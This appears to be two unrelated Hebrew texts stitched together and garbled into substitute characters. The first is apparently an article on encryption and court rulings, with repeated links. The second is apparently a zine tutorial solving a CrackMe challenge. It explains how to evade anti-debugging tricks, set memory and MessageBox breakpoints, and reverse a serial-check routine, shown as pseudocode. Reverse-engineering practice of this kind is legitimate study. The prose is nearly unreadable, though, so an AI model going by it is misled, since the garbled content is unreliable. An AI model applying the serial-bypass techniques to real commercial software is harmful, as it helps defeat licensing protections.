
˳˲˥ ˢˮ˧˞ ˢ˟˷˥ˬ .ˢˢˬ˯˧˯ ˟ ˸˶ˬ˷ˮ˷ ˢ˟˷˥ˬ ˪˷ ˢ˶ˣ˴)ˡ˟˪˟ ˢ˟˷˥ˬˣ ( ˪˷ ˣ˧˸ˣ˟˷˥ˬˬ ˵˪˥ ˞˧ˢ

ˢ˶˧˵˥˟ ˸ˣ˧ˣ˷˶˪ ˢ˪˧˰ˣˬ ˞˧ˢ ˫˞ ˱˞ˣ ˫ˡ˞ ,˶˸ˣ˧˟ ˧˦˶˲ˢ ˫˥˸ˬˢˬ ˰ˮˬˮ ˧˸˪˟ ˵˪˥ ˞˧ˢ . ˢˬˣˡ ˶˟ˡˢ

 ˨˩˪ ˱˶ˠ˧˪ˣ˲ ˧ˡ˧ ˪˰ ˣ˵˲ˣˢ˷ ˸ˣ˧˞˶ ˷˧ˠˢ˪ ˢ˶˦˷ˬˢ ˪˰ ˶˯˞ˮ˷) ˬˬ˰1/95 ˮ ˧ˮˣ˪˲ '˭ˣ˥˦˧˟ˢ ˶˷(, 

 ˫˧˧ˬ˧ˮ˲ ˫˧˩˶˴˪ ˶˧˷˩ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˶˦˷ˬ˪ ˶˸ˣˬ˷ ˸ˣ˶ˬ˪)ˠ˟" ˴620/02 ˮ ˧˷˞˶ˢ ˧˞˟˴ˢ ˰˟ˣ˸ˢ '

˰˪ ˧˞˟˴ˢ ˭˧ˡˢ ˸˧˟˱˧˷ ˭˪˧˞ ˱ˣ˪˞ ˫˧˶ˣ˰˶(; ˶ˬˣ˪˩ , ˫˧˞˴ˬˬ ˪˰ ˸˯˯ˣ˟ˬˢ ˢ˶˧˵˥˟ ˶˟ˣˡˬ ˶˷˞˩

˫ˡ˞ ˪˷ ˫˧˧ˮˣ˴˶ ˞˪ ˫˧˧ˠˣ˪ˣ˧˯˧˲ , ˸˧ˮˣ˴˧˥ ˢ˦˧˪˵ ˣ˶˷˲˞ ˦˲˷ˬˢ ˧˸˟)˱˶ˠ˧˪ˣ˲ ˣˬ˩ ( ˱ˣˠ˟ ˷ˣ˲˧˥ ˣ˞

ˣ˥ˣˬ ˧˩˟ˮ˪ ˢ˶˧ˡ˥ ˞˪ ˨˞ ˡˣ˷˥ˢ. 

˶˸ˣˬ˪ ˶˟˰ˬ ˢ˟˶ˢ ˸ˠ˶ˣ˥ ˫ˡ˞ ˪˷ ˣ˥ˣˬ˪ ˢ˶˧ˡ˥ ;˭˧ˡ˰ˢ ˭ˣˤ˧˞ˢ ˸˞ ˸˶˟ˣ˷ ˢ˶˧ˡ˥ˢ  ˢ˶˟˥ˣ ˫ˡ˞ ˭˧˟

)ˠ˟" ˴5100/94 ˮ ˫˧˧ˣˮ˧˰ ˡˠˮ ˧˶ˣ˟˧˴ˢ ˡ˰ˣˢ '˪˞˶˷˧ ˸˪˷ˬˬ.( ˫˧˧ˣˮ˧˰ ˡˠˮ ˧˶ˣ˟˧˴ˢ ˡ˰ˣˢ ˸˷˶˲˟ , ˦˦˧˴

˪˷ ˣ˶˲˯ ˸˞ ˭ˣ˧˪˰ˢ ˦˲˷ˬˢ ˸˧˟ ˧ˬˡ˵ ˟˵˰˧, "˸ˣ˧˞˶ˢ ˪˰" ,˧˩ ˧ˬˡ˵ ˶ˬˣ˞ ˣ˟ "ˢ˶˧˵˥ ˪˩ ,ˣ ˣˤ ˞ˢ˸

˭˪ˣ˩ˬ ˢ˶˧˟˯ˢˣ ˸ˮˠˣˢˢ ,˫˧˩˧˟ˬ ˫˧˟˴ˬ˟ ˶˵˥ˮˢ ˸˞ ˢˡ˧ˬ˰ˬ ,ˣ˧˸ˣˮˣ˲˴˟ ˸˦˦˥ˬ , ˫˧ˮ˲˪ˣ ˧ˮ˲˪ ˸˶ˡˣ˥

˫˧˶ˣˬ˥ ˫˧˧˷˲ˮ ˫˧˴˥˪ ˣ˪˴˞ ˸˶˴ˣ˧ˣ ˣ˷˲ˮ ˶ˣ˲˧˴ ˪˷"; ˫˪ˣ˞ , ˧˸˪˟ ˸ˣ˧ˢ˪ ˞˪ ˢ˶˧˵˥ˢ ˧˰˴ˬ˞ ˪˰ ˧˩ ˰˟˵

˫˧˧ˣ˞˶ ˧˸˪˟ˣ ˫˧˶˧˟˯ ,ˢ˶˧˵˥ˢ ˸˶˦ˬ ˸˞ ˫˧˷ˠˢ˪ ˫ˢ˧˪˰ˣ .˞ ˪˪˷ ˪˯˲ ˦˲˷ˬˢ ˸˧˟ ˫˧˪˪ˣ˩ˢ ˫˧˰˴ˬ

 ˫ˡ˞ ˧˲˪˩ ˸ˣˬ˧˪˞ ˣ˞ ˳˥˪ ˪˧˰˲ˢ˪ ˶˵ˣ˥ ˪ˣ˩˧ ˭ˢ˟ ˸ˣˡ˧˥˧ˢ ˸ˣ˟˧˯ˮˢ ˧˩ ˶˧ˢ˟ˢˣ ˫ˡ˞ ˪˷ ˣˡˣ˟˩˟ ˢ˰˧ˠ˲

 ˪˷ ˠ˧˧˯ˢ ˞ˣˢ"˸˵˸˵˸ˬ ˢ˴˴˲ "ˤ˞ ˫ˠˣ , ˸˪˰˲ˢ ˪˰ ˸ˣ˧˶˥˞ˬ ˶ˣ˦˲ ˪˷ ˢˮˠˢ ˞˧ˢ ˭˸ˮ˸˷ ˢˮˠˢˢ

˫ˡ˞ˢ ˪˰ ˸ˣˬ˧˪˞ˢ. 

ˣ˧˴˟˵˪ ˣ˞ ˣ˥ˣˬ˪ ˢ˯˧ˮ˩ˢ ˥˸˲ˬ ˸˞ ˶ˣ˯ˬ˪ ˫ˡ˞ ˸˟˧˧˥ˬˢ ˢ˶˧˵˥  ˸˪˰˲ˢˬ ˢˮˣ˷ ˢˮ˧˞ ˫˧ˮ˲˴ˣˬˢ

ˢˤˣˮ˲˧ˢ ,˫ˡ˞ˢ ˪˷ ˣ˷˞˶ ˨ˣ˸˟ ˭ˣ˲˴ˢ ˰ˡ˧ˬˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ ˧˯˧˲ ˳˥˪ ˣ˞ ˫˧ˬ˯ . ˟˷˥ˬˢ ˶ˬˣ˥

˳˲˥ ˣˮ˧˞ ˭˲˴ˣˬˢ ,ˡ˟˪˟ ˣˬ˴˰ ˫˰ ˞˪˞ ˫ˡ˞ ˱˞ ˫˰ ˱˸˷˪ ˞˪˷ ˶˥˟ ˫ˡ˞˷ ˶ˬˣ˥ ˞˪˞ . ˸˞ ˭˸ˣˮ ˢ˧ˢ ˫˞

˶˥˞ ˫ˡ˞˪ ˢˮ˲˴ˢˢ ˸ˣ˥˸˲ˬ ,ˣˡˣ˞ ˞˧ˢ˷˪˩ ˸˧ˮˣ˴˧˥ ˢ˧˞˶ ˢ˸˧ˢ ˫˞ ˣ˞˶ˬˣ˥ˢ ˣ˸ˣ˞ ˸ , ˭˸˧ˮ ˢ˧ˢ˷ ˧˶ˢ

˶˥˞ ˧˰˴ˬ˞˟ ˶ˬˣ˥ˢ ˸˞ ˠ˧˷ˢ˪. ˡˠˮˬ ,˭˲˴ˣˬ ˶ˬˣ˥ˢ ˶˷˞˩ , ˧˰˴ˬ˞ˢˣ ˫ˡ˞ ˪˷ ˣ˷˲ˮˬ ˵˪˥ ˢˣˣˢˬ ˞ˣˢ

˶ˬˣ˥˟ ˸˰ˠ˪ ˸˪ˣ˩˧ˢ ˪˰ ˰˧˲˷ˬ ˣˮ˧˞ ˧ˠˣ˪ˣˮ˩˦ˢ. 

http://news.techworld.com/security/3228701/fbi-hackers-fail-to-crack-truecrypt/?intcmp=ros-md-acc-p-nws
http://news.techworld.com/security/3228701/fbi-hackers-fail-to-crack-truecrypt/?intcmp=ros-md-acc-p-nws
http://news.techworld.com/security/3228701/fbi-hackers-fail-to-crack-truecrypt/?intcmp=ros-md-acc-p-nws
http://news.techworld.com/security/3228701/fbi-hackers-fail-to-crack-truecrypt/?intcmp=ros-md-acc-p-nws
http://www.schneier.com/blog/archives/2007/11/animal_rights_a.html
http://www.schneier.com/blog/archives/2007/11/animal_rights_a.html
http://2jk.org/praxis/?p=1131
http://2jk.org/praxis/?p=1131
http://2jk.org/praxis/?p=1131
http://2jk.org/praxis/?p=1131
http://web1.nevo.co.il/Psika_word/elyon/NOPADI-NG-7-162-L.doc
http://web1.nevo.co.il/Psika_word/elyon/NOPADI-NG-7-162-L.doc
http://2jk.org/praxis/wp-admin/www.nevo.co.il/Psika_word/elyon/0200620.doc
http://2jk.org/praxis/wp-admin/www.nevo.co.il/Psika_word/elyon/0200620.doc
http://2jk.org/praxis/wp-admin/www.nevo.co.il/Psika_word/elyon/0200620.doc
http://www.hamoked.org.il/items/260.pdf
http://www.hamoked.org.il/items/260.pdf
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˫˧˪˞˧˶˯ˣ ˫˧˩ˣ˟ˬ 
˸˞ˬ  ˧˶ˣ˞)Zerith( 

 

ˢˬˡ˵ˢ 

 

˟ ˠˮ˧˯˶ˣˣ˶˟ ˵˯˰˸ˬ˷ ˫˧ˣ˯ˬ ˧ˡ˶˲˯ ˫ˣ˶ˣ˲˟ ˧˸˟˟ˣ˸˯ˢ ˰ˣ˟˷ ˧ˮ˲˪˶˞˷ˢ ˭˧ , ˫˧˴ˣ˰ˮˢ ˫˧˦˯ˣ˲˟ ˧˸˧˞˶ˣ

 ˣˬ˯˶ˣ˲˷ ˫˧˧ˬ˵˞˶˵ ˧ˮ˧ˬ ˪˩ ˪˧˩ˬ˷ ˡ˥˞ ˦˯ˣ˲˫˧ˮ˷ˢ ˨˶ˣ˞˪ ˫ˣ˶ˣ˲˟ ,˫˸ˣ˞ ˣ˶˸˲ ˫˞  ˨˧˶ˡˬˣ ˞˪ ˣ˞

ˣˮ˷˧ ˫˞ ˭ˣ˶˸˧˲˪. 

˟ ˫˯˶ˣ˲˷ ˧ˬ˵˞˶˵ ˧˸˞˴ˬˣ ˢ˩ˣ˶˞ˢ ˢˬ˧˷˶ˢ ˪˰ ˧˸˶˟˰-2007 , ˡ˰ ˶˸˲ˮ ˞˪ˣ2008 ) ! ˪˷ ˷˶˲ˢ ˢ˧ˢ

 ˨˶˰˟10 ˫˧˷ˡˣ˥.( ˧˧˥ ˧ˮ˞˷ ˧ˬ˴˰˪ ˧˸˟˷˥˧ˬ˵˞˶˵ˢ ˸˞ ˶ˣ˸˲˪ ˭ˬˤ ˢ˟˶ˢ ˨˩ ˪˩ ˥˵˪ ˢˬ˪ ˸ˣ˞˶˪ ˟ ,

ˣ˸ˣ˞ ˧˸ˡ˶ˣˢ ˤ˞ ,ˣ˸ˣ˞ ˶ˣ˵˥˪ ˧˸˪˥˸ˢˣ. 

˧ˬ˵˞˶˵ˢ ˸˞ ˶ˣ˸˲˪ ˧˸˥˪˴ˢ ˡ˥˞ ˫ˣ˧ ˶˥˞˪ ,˧˸˰ˡ˪ ˡˣ˞ˬ ˢ˲˧ ˢ˶ˣ˴˟ ,ˣ˧˪˰ ˟ˣ˸˩˪ ˧˸˦˪˥ˢ ˤ˞. 

ˢ ˶ˬ˞ˬˢˬ ˢ˟˶ˢ ˡˣˬ˪˪ ˣ˪˩ˣ˸˷ ˟˷ˣ˥ ˧ˮ˞˧˧ˬ˵˞˶˵ ˸˶˧˵˥˟ ˢ˟˧˷˥ˢ ˨˶ˡ ˪˰ ˢˤ.˫ 

 

˵˞˶˵ˢ ˸˞ ˠ˧˷ˢ˪ ˭˸˧ˮˢ˞˟ˢ ˸˟ˣ˸˩ˢˬ ˧ˬ: 

http://personal.telefonica.terra.es/web/carlos-ea/ie/CrackMe05.rar 

 

 

ˢ˶˧˵˥˟ ˪˧˥˸ˮ 

 

˶ˠ˞˟˧ˡ ˞˪˪ ˸˧ˮ˩˸ˢ ˪˷ ˸˧ˮˣ˷˞˶ ˢ˥˧˸˲˟ ,˪˞˧˶˯ ˷˵˟ˬ˷ ˭˦˵ ˭ˣ˪˥ ˸ˣ˞˶˪ ˭˸˧ˮ: 

 

 

http://personal.telefonica.terra.es/web/carlos-ea/ie/CrackMe05.rar
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 ˶˥˞˪ ˥˸˲ˮ ˧˞˶˵˞ ˪˞˧˶˯ ˸˯ˮ˩ˢMessageBox ˦˯˵˦ˢ ˸˞ ˪˧˩ˬ˷ 'Invalid Key',  ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˨˩ˬ

ˡˣ˟˰˪ ˢˬ ˫˰ ˣˮ˪ ˷˧˷. 

˭˩˟ˣ ,˪˧ˠ˶ ˳˧˶ˢ˪ ˢ˯ˮˮˣ ˶ˠ˞˟˧ˡ˟ ˣˮ˪˷ ˢ˶˦ˬˢ ˸˞ ˥˸˲ˮ ,˫˧ˮ˲˟ ˸ˣ˰˸˲ˢ ˫ˣ˷ ˭˧˞ ˫˞ ˸ˣ˞˶˪ ˧ˡ˩ ˵˶. 
]˧˶ˬˠ˪ ˧˵ˮ ˫˩˪˷ ˶ˠ˞˟˧ˡˢ˷ ˢ˥ˮˢ ˸ˡˣ˵ˮˬ ˞˟ ˧ˮ˞ ˧˩ ˶ˣ˩ˤ˪ ˷˧ , ˪˩ ˞˪˪Plug-ins ˧˦ˮ˞ ˣ˞ ˫˧˪˰˲ˣˬ-ˠˮ˧ˠ˞˟˧ˡ ˧˦ˮ˞[. 

˸˲˶ˠ˞˟˧ˡ˟ ˸˧ˮ˩˸ˢ ˸˞ ˧˸˴˶ˢˣ ˧˸˥ , ˧˸˪˟˧˵ˣˢˬ˧˰ˮ ˞˪ ˢ˰˸˲ˢ ,˸˧ˬˣ˞˸˲ ˢ˶˧˴˰: 

 

 ˢ˶˧˴˰˪ ˢ˟˧˯ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ˢ˦ˬ˪ïBreak-on-access when executing [00B00000]"" 

 ˸˟ˣ˸˩˟ˣ0x00B00009 ˧ˬ˵˞˶˵ˢ ˟˸ˣ˩ˬ ˢ˩˶˟ ˸ˣ˞˶˪ ˭˸˧ˮ ,Hola  ˫ˠ˨˪. 

 ˳ˣ˶˪ˣ ˨˧˷ˬˢ˪ ˢ˯ˮˮ ˫˞ï ˶ˠ˯˸ ˸˧ˮ˩˸ˢ. 
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 ˭˞˩˞ ˢˮ˲ ˶ˬ˞ˬ˪ ˫˩˸˞ ˱˯ˣˮ ˪˰ ˧˪˷Anti-Anti Debugging ˟ ˫˯˶ˣ˲˷˧˰˧˟˶ˢ ˭ˣ˧˪ˠ ˭˧ˤˠˬˢ ˪˷ , ˧ˮ˞ ˣ˟

ˢ ˸˧˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˬ˷ ˠˮ˧ˠ˞˟˧ˡ ˧˦ˮ˞˟ ˷ˣˬ˧˷ ˪˰ ˶˧˟˯ˬ-Memory Breakpoints ˶ˠ˞˟˧ˡˢ ˪˷. 

 ˢ˶˧˴˰ˢ ˧˲˪Break-On-Access , ˸˰ˡ˪ ˭˸˧ˮ˥ˮˣˢ ˧˩  ˢ˲Memory Breakpoint , ˢ˶˵ˬ˟ ˭ˣ˩ˮ ˶˸ˣ˧ ˣ˞

ˢˤˢ :Memory breakpoint  ˢˬˣˡˬ. 

˧˦ˮ˞ ˪˰ ˧˪˷ ˶ˬ˞ˬ˟ ˧˸˶˟˯ˢ˷ ˧˲˩-ˠˮ˧ˠ˞˟˧ˡ ˧˦ˮ˞ ,Memory Breakpoint  ˱ˡ ˸ˮˠˢ ˧ˣˮ˧˷ ˦ˣ˷˲ ˞ˣˢ

˪ ˭ˣ˶˩˧ˤˢ-PAGE_GUARD .˸ˮˬ ˪˰  ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˷˧ ˱ˡˢ ˸ˮˠˢ ˸˞ ˸ˣˮ˷˪VirtualProtect , ˤ˞

 ˢ˞˧˶˵ˢ ˸˞ ˷˲˥ˮ ˣ˞ˣ˟J. 

 ˫˧˷ˮˣ ˶ˠ˞˟˧ˡ˟ ˸˧ˮ˩˸ˢ ˸˞ ˷ˡ˥ˬ ˥˸˲ˮBreakpoint )Software (ˮˣ˲ˢ ˪˰ ˢ˧˴˵VirtualProtect ,

˳˧˶ˮˣ ..x..ˣˮ˶˴˰: 

 

ˮˡ˷˥˷ ˧˲˩ˢ ˱ˡˢ ˸ˣ˞˷˶ˢ˷ ˢ˦ˬ˪ ˸ˣ˞˶˪ ˭˸˧ˮ ˣ ˸˟ˣ˸˩ˢ ˪˰ ˫˧ˬ˷ˣ˧ˬ0x00B00000  ˸˞ˤˢ ˢ˞˧˶˵˟

˸ˣ˪˧˩ˬ ˢ ˸˞˷˶ˢ ˸˞ ˶˞˷ˢ ˭˧˟-PAGE_GUARD. 

http://www.digitalwhisper.co.il/files/Zines/0x04/DW4-3-Anti-Anti-Debugging.pdf
http://www.digitalwhisper.co.il/files/Zines/0x04/DigitalWhisper4.pdf
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ˡˬ ˶˸ˣ˧ ˨˟˸˯ˢ˪ ˧˪˟ ˧, ˸ˬ˷ˣ˧ˬˢ ˢˮˠˢˢ ˸˞ ˢˮ˷ˮ ˦ˣ˷˲˵˶ ˪-PAGE_EXECUTE_READ. 

]˞ˤ ˸ˣ˷˰˪ ˫ˣ˵ˬ˟˸˧ˮˡ˧ ˫˰˲ ˪˩ ˸ , ˭˧ˠ˞˪˲˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮPhant0m ˧˦ˮ˞ ˰˧˴ˬ˷-ˮˢ ˢ˵˧ˮ˩˦˪ ˠˮ˧ˠ˞˟˧ˡ ˧˦ˮ˞"˪[. 

˳˧˶ˢ˪ ˨˧˷ˬˮ ,ˢ˰˸˲ˢˢ ˢ˟˶ˬ˪ˣ , ˥˸˲ˮ ˭ˣ˪˥ˢ- ˧˦ˮ˞ˢ ˪˩ ˸˞ ˣˮ˲˵˰˷ ˢ˞˶ˮ˩- ˠˮ˧ˠ˞˟˧ˡJ. 

 

 

ˢˬ˴˰ ˸˧ˮ˩˸ˢ ˸˶˧˵˥ 

 

˸ˣ˵˧ˡ˟ˢ ˪˩ ˸˞ ˣˮ˲˵˰˷ ˶˥˞˪ ,ˢˤˢ ˧ˬ˵˞˶˵˟ ˣˮ˪˷ ˸˧˸˧ˬ˞ˢ ˢ˶˦ˬ˟ ˤ˩˶˸ˢ˪ ˪˩ˣˮ- ˬ˪ ˸˞ ˞ˣ˴

˪˞˧˶˯ˢ. 

˶ˠ˞˟˧ˡ ˞˪˪ ˸˧ˮ˩˸ˢ ˪˷ ˸˧ˮˣ˷˞˶ˢ ˢ˶˧˵˥ˢ ˧˲˪ ,˧ˣˠ˷ ˪˞˧˶˯ ˸˯ˮ˩ˢ˟ ˧˩ ˫˧˰ˡˣ˧ ˣˮ˞ , ˫˧˪˟˵ˬ ˣˮ˥ˮ˞

MessageBox , ˸˰ˡˣˢ ˣ˞"Bad Boy." 

˞ ˣˮ˫˧ˮ˧˧ˮˣ˰ˬ ˪ ˣˮ˰ˠˢ ˨˧˞ ˸˰ˡ˪Bad Boy- ,ˣ˧˪˞ ˣˮ˸ˣ˞ ˞˧˟ˢ˷ ˫˶ˣˠˢ ˣˢˬ .˨˩˷ ˭ˣˣ˧˩ˬ  ˫˧˷ˮ

Breakpoint  ˢ˧˴˵ˮˣ˲˟MessageBoxA. ˪˶˥˞  ˳˥˪ˮˣ ˣˢ˷˪˩ ˧˞˶˵˞ ˪˞˧˶˯ ˯˧ˮ˩ˮ ˭˩ˬOK. 

˶˰˴ˢ ˢ˟˶ˬ˪ ,ˢ ˸˰ˡˣˢ-Bad Boy ˢ˰˧˲ˣˬ ,˧ˮ˲˪ ˶ˠ˞˟˧ˡˢ ˪˷ ˢ˶˧˴˰ ˭˧˞ ˨˞!  ˢ˶˵ˬ˟ ˸ˣ˷˰˪ ˷˧ ˢˬ

ˢˤˢ ? ˸ˣ˰ˡˣˢ ˫˰ ˣ˪˞˩ ˸ˣ˧ˮ˩˸ ˟˶˵˟ ˢ˴ˣ˲ˮ ˡˣ˞ˬ ˢ˵˧ˮ˩˦ ˫˩˪ ˶˧˟˯˞Bad Boy: 

˸ˣ˟˶ ˢ ˸ˣ˧˴˵ˮˣ˲ˬ-API ˭ˢ ˯ˣˡˮ˧ˣˣ ˪˷ ˢ˟˧˥˶ˬˢ ˢ˧˴˵ˮˣ˲ ˪˷ ˸˲˦˰ˬ ˫˴˰˟ ˫˸ˣ˞. ˪˷ˬ˪ , ˢ˧˴˵ˮˣ˲ˢ

CreateWindowA  ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ ˦ˣ˷˲CreateWindowExA ,"ˢ˸ˣ˞ ˸˲˦ˣ˰." 

 ˢ˧˴˵ˮˣ˲˟ ˢ˶ˣ˵ ˵ˣ˧ˡ˟ ˶˟ˡˢ ˣ˸ˣ˞MessageBoxA  ˞˧ˢ˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˲˦˰ˬMessageBoxExA ,

˸˲˦˰ˬ ˫ˠ ˞˧ˢ˷-  ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˲˦˰ˬMessageBoxTimeoutA , ˞˧ˢ˷)˫ˠ (! ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˲˦˰ˬ

MessageBoxTimeoutW )ˢ˞ ˪˟˪˟ˬ ˨˩ ˪˩ ˞˪ ?˶˪˟ˬ˯˞˯˧ˡ˟ ˢˤ ˸˞ ˵ˣˡ˟˪ ˣ˪˩ˣ˸.( 

ˣˮ˪˷ ˢ˶˵ˬ˪ ˶ˣ˷˵ ˢˤ ˨˧˞ ˤ˞ ?˪ ˸ˣ˶˧˷˧ ˢ˞˧˶˵˟ ˸˷ˬ˸˷ˬ ˢ˸˧˧ˢ ˸˧ˮ˩˸ˢˣ ˢ˶˵ˬ˟-MessageBoxA 

˸˞ˤ ˸ˣ˪ˠ˪ ˡˣ˞ˬ ˦ˣ˷˲ ˣˮ˪ ˢ˧ˢ,  ˸˰˲ˣˢ ˸˰˟ ˣˮ˪˷ ˸˧˟˧˦˵ˮ˧˦˯ˮ˧˞ˢ ˢ˪ˣ˰˲ˢMessageBox ˧ˢ ˣˤ˩ ˞

 ˫˧˷˪Breakpoint  ˴˵ˮˣ˲ˢ ˪˰ ˢ˧MessagBoxA. 
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˸ˣ˲˦˰ˬˢ ˧˟˪˷ ˨ˣ˸˟ ˶˸ˣ˧ ˸ˣ˧ˬ˧ˮ˲ ˸ˣ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˦ˣ˷˲ ˢˤ ˢ˷ˣ˰ ˸˧ˮ˩˸ˢ˷ ˢˬ , ˶˸ˣ˧ ˢ˧ˢ˧˷ ˨˩

ˢ˞˧˶˵ˢ ˸˞ ˞ˣ˴ˬ˪ ˶˯˶ˣˣ˧˶˪ ˢ˷˵. 

˷ ˶˥˞˪ ˫˧˷˪ ˧˸˧˯˧ˮBreakpoint  ˪˰MessageBoxExA ï ˶˴˰ ˞˪ ˟ˣ˷ˣ ,˨ˣˬˮ ˸ˡ˶˪ ˧˸˟˷˥ ˶˸ˣ˧ 

˫˧˟˪˷˟ , ˪˰ ˣ˸ˣ˞ ˧˸ˬ˷ˣMessageBoxTimeoutA ï ˧˸˪˟˧˵˷ ˢˬ ˢˤ: 

 

ˢ˰ˡˣˢˢ ˸˰˲ˣˢ˪ ˪˧˟ˣˢ˷ : 

 

˭˟ˣˬ ˞˪ˢ ˦˯˵˦ˢ ˸ˣ˶ˬ˪ ,ˢ ˸˞ ˣˢ˧ˤ ˫ˢ˷ ˭˧˟ˢ˪ ˶˷˲˞-Breakpoint ˣˮ˪˷..˧˦ˮ˞˟ ˷ˣˬ˧˷ ˢ˲ ˷˧-

ˠˮ˧ˠ˞˟˧ˡ! 
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˸˰˩  ˫˩˪ ˠ˧˴˞ ˫˧˷ˬ˸˷ˬ˷ ˢ˴ˣ˲ˮ ˢ˵˧ˮ˩˦ ˡˣ˰˟s: 

˟ ˷ˣˬ˧˷ ˰ˣˮˬ˪ ˸ˮˬ ˪˰-Software Breakpoints , ˪˰ ˶ˬ˞ˬ˟ ˧˸˶˟˯ˢ˷ ˧˲˩Anti-Anti Debugging ,

ˢ ˪˷ ˡˣ˵˲ˣ˞ˢ ˸˞ ˫˧ˠ˴˧˧ˬ˷ ˫˧˸˟ˢ ˸˞ ˸˷˲˥ˬ ˸˧ˮ˩˸ˢ-Software Breakpoint- INT3. 

ˢ ˸˞ ˢ˸ˢ˧ˤ ˸˧ˮ˩˸ˢ˷ ˢ˞˶ˮ˩-Breakpoint ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟ ˣˮˬ˷˷. 

 ˭ˣ˧˯˧ˮ ˶˥˞˪ ˱˯ˣˮ ˸ˣ˥˩ˣˮ˪ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˭ˣ˷˞˶ˢ ˸˧˟ˢ ˸˞ ˵˶ ˸˵ˡˣ˟ ˸˧ˮ˩˸ˢ˷ ˧˸ˮ˟ˢBreakpoint ,

ˢ ˸˞ ˫˧˷˪ ˪˩ˣˮ ˭˩˪-Breakpoint ˣ˧˶˥˞ ˸˥˞ ˢ˞˶ˣˢ ˣˮ˪˷ ,˫˧˶ˡˣ˯ˬ ˣˮ˥ˮ˞ˣ. 

 

 



 

 

˫˧˪˞˧˶˯ˣ ˫˧˩ˣ˟ˬ 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ12 ,˶˟ˬ˦˲˯ 2010  23 

 

˪ ˡ˰˴ˮ ˢ˲ˬ-RETN ˢ˧˴˵ˮˣ˲˪ ˞˶˵ ˧ˬ ˸ˣ˞˶˪ ˧ˡ˩ ,ˢ˞˧˶˵ˢ ˫ˣ˵ˬ˪ ˰˧ˠˮˣ: 

 

 

˪ ˢ˞˧˶˵ˢ˷ ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ-Bad Boy  ˸˟ˣ˸˩˟ ˢ˴˧˲˵ˢ ˫˞ ˰˴˟˸˸ ˞˪0x00401860 ˞˪ ˰˴˟˸˸ ,

˫ˠˣ ˟ ˢ˴˧˲˵ˢ0x0040185C- ˰˴˟˸˸ ˞˪ .˸˧˷˞˶ ˸˩˟ ˢ˴˧˲˵˪ ˫˶ˣˠˢ ˣˢˬ ˢ˞˶ˮ ˸˟ˣ0x0040185C ,

 ˫˧˷ˮBreakpoint  ˢ˴˧˲˵ˢ ˧ˮ˲˪ ˸ˣ˞˶ˣˢ ˢˬ˩) ˸˟ˣ˸˩˟ ˧˸˶˥˟0x00401856( ,ˮˣ˯˧ˮ˩ ˪˞˧˶˯ ˷ˡ˥ˬ. 

 

 ˶˟ˣˡˬ ˧˩ ˧˸ˮ˟ˢ ˸ˣˮˣ˧˯˧ˮ ˢˬ˩ ˶˥˞˪˪˞˧˶˯ˢ ˪˷ ˣ˩˶ˣ˞˟ ,ˬ ˪ˣˡˠ ˪˞˧˶˯ˢ ˫˞ ˭˩˪-35 )0x19+0x0A( ,

˭˧˵˸ ˞˪˩ ˟˷˥ˮ ˞ˣˢ. 

˨˞- ˬ ˭˦˵ ˪˞˧˶˯ˢ ˫˞ ˫ˠ-0x0A )10 (˵˸ ˢ˧ˢ˧ ˞˪ ˞ˣˢ ˭˧)˪˷˟ ˸ˣ˪ˣ˟ˠ ˸˷˧˪ˠ ,Overflow.( 
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˸˰˩  ˶ˠˣ˞ˢ ˪˷ ˨˶˰˟ ˧ˣ˪˸˷ ˧ˮ˷ˢ ˧˞ˮ˸˪ ˶ˣ˟˰ˮBL , ˸˟ˣ˸˩˟0x401860 ,˫˷˪ˣ  ˶˸ˣ˧ ˸˩˪˪ ˨˶˦˴ˮ ˨˩

ˢ˶ˣ˥˞. 

 

 ˪˷ ˣ˩˶˰ ˪˰ ˰˧˲˷ˬ ˢˬ ˸ˣ˞˶˪ ˣˮ˧˪˰BL- ˟ ˧˸ˮˬ˧˯˫ˣˡ˞ x˪ˣ˥˩ ˸ˣ˰˧˲˷ˬˢ ˸ˣ˞˶ˣˢˢ ˸˞. 

˟ ˸ˮˬˣ˯ˬ˷ ˢ˶ˣ˷˟˫ˣˡ˞ ˟ˣ˸˩˟ ˭˯˥ˣ˞ˬ ˶˷˞ ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ ˸EBP-7D ˟ ˫˷ˣˬ-BL , ˪˷ ˣ˩˶˰

˟ ˸ˮˬˣ˯ˬ˷ ˢ˞˶ˣˢ˟ ˭˧˦ˣ˪˥˪ ˧ˣ˪˸ ˢˤ ˢˮ˸˷ˬ˪ˣ˥˩ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩. 

 ˶˥˞˪˧˸˯ˮ˩ˢ˷  ˸˟ˣ˸˩˟ ˧˸˶˴˰ˣ ˷ˡ˥ˬ ˪˞˧˶˯0x004017E0 , ˧˩ ˧˸˧˞˶˪˞˧˶˯ˢ ˪˷ ˸ˣ˧˸ˣ˞˟ ˶˟ˣˡˬ ,

ˮˢ ˡˣ˵ˢ ˸˞ ˧˸ˬˠ˶˧˸"ˣˡˣ˞˯˲˪ ˪-ˢˮ˟ˢˢ ˪˰ ˪˵ˢ˪ ˧ˡ˩ ˧˯: 

while  (i < strlen( Serial))  

{  

 if  (Serial[i] ^  Serial[i+1] == 0)  

  BL = 1;  

 Serial[i] - = 1;  

 if  (!(Serial[i] < 0x4F && Serial[i] > 0x40 )  

  BL = 1;  

 i++;  

}  
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 ˸˪ˣ˰˲ ˞˧ˢ ˸˰˴˟˸ˬ˷ ˢˮˣ˷˞˶ˢ ˢ˪ˣ˰˲ˢXOR ˢ˞˟ˢ ˸ˣ˞˪ ˸˥˞ ˸ˣ˞ ˭˧˟ ˧ˠˣ˪. ˰ˣˡ˧˩ , ˸˧ˠˣ˪ ˢ˪ˣ˰˲˟

